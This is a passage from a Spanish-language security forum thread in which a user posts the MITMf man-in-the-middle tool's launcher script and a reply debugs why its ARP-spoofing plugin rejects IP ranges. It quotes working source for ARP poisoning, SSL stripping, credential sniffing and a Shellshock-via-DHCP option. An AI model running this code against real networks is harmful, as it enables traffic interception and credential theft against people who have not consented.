  60. sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
  61. sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
  62. sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic')
  63.  
  64. #Initialize plugins and pass them the parser NameSpace object
  65. plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]
  66.  
  67. if len(sys.argv) == 1:
  68.     parser.print_help()
  69.     sys.exit(1)
  70.  
  71. options = parser.parse_args()
  72.  
  73. #Set the log level
  74. logger().log_level = logging.__dict__[options.log_level.upper()]
  75.  
  76. from core.logger import logger
  77. formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
  78. log = logger().setup_logger("MITMf", formatter)
  79.  
  80. from core.netcreds import NetCreds
  81.  
  82. if options.read_pcap:
  83.     NetCreds().parse_pcap(options.read_pcap)
  84.  
  85. #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object
  86. from core.utils import get_ip, get_mac, shutdown
  87. options.ip  = get_ip(options.interface)
  88. options.mac = get_mac(options.interface)
  89.  
  90. settings.Config.populate(options)
  91.  
  92. log.debug("MITMf started: {}".format(sys.argv))
  93.  
  94. #Start Net-Creds
  95. print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
  96.  
  97. NetCreds().start(options.interface, options.ip)
  98. print "|"
  99. print "|_ Net-Creds v{} online".format(NetCreds.version)
  100.  
  101. from core.proxyplugins import ProxyPlugins
  102.  
  103. ProxyPlugins().all_plugins = plugins
  104. for plugin in plugins:
  105.  
  106.     #load only the plugins that have been called at the command line
  107.     if vars(options)[plugin.optname] is True:
  108.  
  109.         ProxyPlugins().add_plugin(plugin)
  110.  
  111.         print "|_ {} v{}".format(plugin.name, plugin.version)
  112.         if plugin.tree_info:
  113.             for line in xrange(0, len(plugin.tree_info)):
  114.                 print "|  |_ {}".format(plugin.tree_info.pop())
  115.  
  116.         plugin.setup_logger()
  117.         plugin.initialize(options)
  118.  
  119.         if plugin.tree_info:
  120.             for line in xrange(0, len(plugin.tree_info)):
  121.                 print "|  |_ {}".format(plugin.tree_info.pop())
  122.  
  123.         plugin.start_config_watch()
  124.  
  125. if options.filter:
  126.     from core.packetfilter import PacketFilter
  127.     pfilter = PacketFilter(options.filter)
  128.     print "|_ PacketFilter online"
  129.     print "   |_ Applying filter {} to incoming packets".format(options.filter)
  130.     try:
  131.         pfilter.start()
  132.     except KeyboardInterrupt:
  133.         pfilter.stop()
  134.         shutdown()
  135.  
  136. else:
  137.     from core.sslstrip.CookieCleaner import CookieCleaner
  138.     from core.sslstrip.StrippingProxy import StrippingProxy
  139.     from core.sslstrip.URLMonitor import URLMonitor
  140.  
  141.     URLMonitor.getInstance().setFaviconSpoofing(options.favicon)
  142.     URLMonitor.getInstance().setCaching(options.preserve_cache)
  143.     CookieCleaner.getInstance().setEnabled(options.killsessions)
  144.  
  145.     strippingFactory          = http.HTTPFactory(timeout=10)
  146.     strippingFactory.protocol = StrippingProxy
  147.  
  148.     reactor.listenTCP(options.listen_port, strippingFactory)
  149.  
  150.     for plugin in plugins:
  151.         if vars(options)[plugin.optname] is True:
  152.             plugin.reactor(strippingFactory)
  153.  
  154.     print "|_ Sergio-Proxy v0.2.1 online"
  155.     print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
  156.  
  157.     #Start mitmf-api
  158.     from core.mitmfapi import mitmfapi
  159.     print "|"
  160.     print "|_ MITMf-API online"
  161.     mitmfapi().start()
  162.  
  163.     #Start the HTTP Server
  164.     from core.servers.HTTP import HTTP
  165.     HTTP().start()
  166.     print "|_ HTTP server online"
  167.  
  168.     #Start DNSChef
  169.     from core.servers.DNS import DNSChef
  170.     DNSChef().start()
  171.     print "|_ DNSChef v{} online".format(DNSChef.version)
  172.  
  173.     #Start the SMB server
  174.     from core.servers.SMB import SMB
  175.     SMB().start()
  176.     print "|_ SMB server online\n"
  177.  
  178.     #start the reactor
  179.     reactor.run()
  180.     print "\n"
  181.  
  182.     shutdown()
  183.  





P.D: Perdón por la cantidad de información pero me gustaría que me ayudasen a encontrar el error, GRACIAS DE ANTEMANO A TODOS.
Un mundo construido sobre fantasía. Emociones sintéticas en forma de pastillas. Guerras psicológicas en forma de publicidad. Sustancias químicas que alteran la mente en forma de comida. Lavados de cerebro en forma de medios de comunicación. Agujas aisladas bajo control en forma de redes sociales.

Desconectado WhiZ

  • *
  • Underc0der
  • Mensajes: 395
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #7 en: Septiembre 24, 2015, 01:46:13 pm »
El error ocurre en el archivo l2.py, más concretamente en la función getmacbyip. En ella, el problema está en que la función inet_aton está recibiendo una IP ilegal (línea 5 de nuestro código). Como veremos más adelante, esto se debe a que el parámetro ip que recibe getmacbyip no es instancia de la clase Net, sino de str, es decir, inet_aton estaría recibiendo un rango de IPs y no un valor único, hecho que considera ilegal. Veamos el código para hacernos una mejor idea:

#l2.py
Código: Python
  1. def getmacbyip(ip, chainCC=0):
  2.     """Return MAC address corresponding to a given IP address"""
  3.     if isinstance(ip,Net):
  4.         ip = iter(ip).next()
  5.     tmp = map(ord, inet_aton(ip))
  6.     if (tmp[0] & 0xf0) == 0xe0: # mcast @
  7.         return "01:00:5e:%.2x:%.2x:%.2x" % (tmp[1]&0x7f,tmp[2],tmp[3])
  8.     iff,a,gw = conf.route.route(ip)
  9.     if ( (iff == "lo") or (ip == conf.route.get_if_bcast(iff)) ):
  10.         return "ff:ff:ff:ff:ff:ff"
  11.     if gw != "0.0.0.0":
  12.         ip = gw
  13.  
  14.     mac = conf.netcache.arp_cache.get(ip)
  15.     if mac:
  16.         return mac
  17.  
  18.     res = srp1(Ether(dst=ETHER_BROADCAST)/ARP(op="who-has", pdst=ip),
  19.                type=ETH_P_ARP,
  20.                iface = iff,
  21.                timeout=2,
  22.                verbose=0,
  23.                chainCC=chainCC,
  24.                nofilter=1)
  25.     if res is not None:
  26.         mac = res.payload.hwsrc
  27.         conf.netcache.arp_cache[ip] = mac
  28.         return mac
  29.     return None

Teniendo un mejor conocimiento de esta función, la pregunta que nos tenemos que hacer ahora es: ¿quién es el responsable de pasar una IP ilegal? Según el traceback, la culpa la tiene el método build_arp_req de la clase Spoof:

#Spoof.py
Código: Python
  1. class Spoof(Plugin):
  2.     def build_arp_rep(self):
  3.         if self.target is None:
  4.             pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
  5.         elif self.target:
  6.             target_mac = getmacbyip(self.target)
  7.             if target_mac is None:
  8.                 sys.exit("[-] Error: Could not resolve targets MAC address")
  9.  
  10.             pkt = Ether(src=self.mac, dst=target_mac)/ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=target_mac, pdst=self.target, op=2)
  11.  
  12.         return pkt

Aquí se ve claramente el problema: en la línea 6 de nuestro código, la función getmacbyip está recibiendo el valor del atributo target, el cual parece no estar preprocesado, es decir, el método build_arp_rep estaría pasando en crudo el valor del atributo target, sin importar de qué tipo de dato se trate. A este método le da lo mismo que target sea una instancia de la clase Net o una cadena alfanumérica con un rango de IPs.

Con esto, entendemos que no es su función constatar que el atributo target contenga un valor legal para pasarle al método getmacbyip. ¿A quién le toca, entonces, ocuparse de esta tarea? Vamos a ver... Según el traceback, quien llama al método build_arp_req es el método initialize de la misma clase (Spoof). Miremos su código:

Código: Python
  1. class Spoof(Plugin):
  2.     def initialize(self, options):
  3.         self.interface = options.interface
  4.         self.arp = options.arp
  5.         self.gateway = options.gateway
  6.         self.target = options.target
  7.         self.arpmode = options.arpmode
  8.  
  9.         if self.arp:
  10.             if not self.gateway:
  11.                 sys.exit("[-] --arp argument requires --gateway")
  12.  
  13.             self.routermac = getmacbyip(self.gateway)
  14.            
  15.             print "[*] ARP Spoofing enabled"
  16.             if self.arpmode == 'req':
  17.                 pkt = self.build_arp_req()
  18.             elif self.arpmode == 'rep':
  19.                 pkt = self.build_arp_rep()
  20.            
  21.             thread_target = self.send_packets
  22.             thread_args = (pkt, self.interface, self.debug,)

Evidentemente, el valor del atributo target es, al momento de ser empleado por el método build_arp_req, exactamente idéntico al de options.target.  Esto significa que en la versión que estás usando de mitmf, la clase Spoof no hace ningún tratamiento de la opción target, pasándole en crudo el valor de la misma a la función getmacbyip, lo que hace imposible indicar un rango de IPs: sólo podés indicar una o ninguna. Esas son las dos opciones que tenemos en esta versión.

De hecho, si comparamos la versión que vos usás con la versión más nueva, vemos que dentro del método add_options (heredado de la clase Plugin), ahora llamado options, la opción target pasó a llamarse targets.

#Spoof.py (versión anterior)
Código: Python
  1. class Spoof(Plugin):
  2.     def add_options(self, options):
  3.         group = options.add_mutually_exclusive_group(required=False)
  4.         group.add_argument('--arp', dest='arp', action='store_true', default=False, help='Redirect traffic using ARP spoofing')
  5.         group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
  6.         group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
  7.         options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
  8.         options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
  9.         options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
  10.         options.add_argument('--target', dest='target', help='Specify a host to poison [default: subnet]')
  11.         options.add_argument('--arpmode', dest='arpmode', default='req', help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
  12.         options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
  13.         #options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')

#Spoof.py (versión actual)
Código: Python
  1. class Spoof(object):
  2.     def options(self, options):
  3.         group = options.add_mutually_exclusive_group(required=False)
  4.         group.add_argument('--arp', dest='arp', action='store_true', help='Redirect traffic using ARP spoofing')
  5.         group.add_argument('--icmp', dest='icmp', action='store_true', help='Redirect traffic using ICMP redirects')
  6.         group.add_argument('--dhcp', dest='dhcp', action='store_true', help='Redirect traffic using DHCP offers')
  7.         options.add_argument('--dns', dest='dns', action='store_true', help='Proxy/Modify DNS queries')
  8.         options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network')
  9.         options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
  10.         options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
  11.         options.add_argument('--gatewaymac', dest='gatewaymac', help='Specify the gateway MAC [will auto resolve if ommited]')
  12.         options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
  13.         options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison')
  14.         options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')
  15.  

Por último, en la última versión, dentro de la clase ARPpoisener (ARP.py), podemos ver cómo el método poison realiza un correcto tratamiento del rango de IPs:

#ARP.py
Código: Python
  1. class ARPpoisener:
  2.     def start(self):
  3.  
  4.         #create a L3 and L2 socket, to be used later to send ARP packets
  5.         #this doubles performance since send() and sendp() open and close a socket on each packet
  6.         self.s  = conf.L3socket(iface=self.interface)
  7.         self.s2 = conf.L2socket(iface=self.interface)
  8.  
  9.         if self.arpmode == 'rep':
  10.             t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',))
  11.  
  12.         elif self.arpmode == 'req':
  13.             t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',))
  14.  
  15.         t.setDaemon(True)
  16.         t.start()
  17.  
  18.         if self.targets is None:
  19.             log.debug('Starting ARPWatch')
  20.             t = threading.Thread(name='ARPWatch', target=self.start_arp_watch)
  21.             t.setDaemon(True)
  22.             t.start()
  23.  
  24.     def poison(self, arpmode):
  25.         sleep(2)
  26.         while self.send:
  27.  
  28.             if self.targets is None:
  29.                 self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode))
  30.  
  31.             elif self.targets:
  32.                 for target in self.targets:
  33.                     targetip  = str(target)
  34.  
  35.                     if (targetip != self.myip) and (target not in self.ignore):
  36.                         targetmac = self.resolve_target_mac(targetip)
  37.  
  38.                         if targetmac is not None:
  39.                             try:
  40.                                 #log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
  41.                                 self.s2.send(Ether(src=self.mymac, dst=targetmac)/ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
  42.                                 self.s2.send(Ether(src=targetmac, dst=self.gatewaymac)/ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
  43.                             except Exception as e:
  44.                                 if "Interrupted system call" not in e:
  45.                                    log.error("Exception occurred while poisoning {}: {}".format(targetip, e))
  46.  
  47.             sleep(self.interval)
  48.  

Conclusión, si querés indicar un rango de IPs, no te queda otra más que actualizar a la última versión de mitmf.

Espero haberte ayudado. Cualquier cosa, no dudes en preguntar.

Saludos!
WhiZ


Conectado davidhs

  • *
  • Underc0der
  • Mensajes: 57
  • Actividad:
    0%
  • Reputación 2
  • La oscuridad de mi teclado me lleva a la eternidad
    • Ver Perfil
    • Hardsoft Security
« Respuesta #8 en: Septiembre 24, 2015, 02:59:11 pm »
Muchísimas Gracias WhiZ.
Un mundo construido sobre fantasía. Emociones sintéticas en forma de pastillas. Guerras psicológicas en forma de publicidad. Sustancias químicas que alteran la mente en forma de comida. Lavados de cerebro en forma de medios de comunicación. Agujas aisladas bajo control en forma de redes sociales.

 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 6328
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1540
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2133
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2682
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Ayuda urgente con Virus "Virus.Win32Sality"

Iniciado por Napsters

Respuestas: 6
Vistas: 3349
Último mensaje Junio 11, 2012, 03:38:18 am
por Satyricon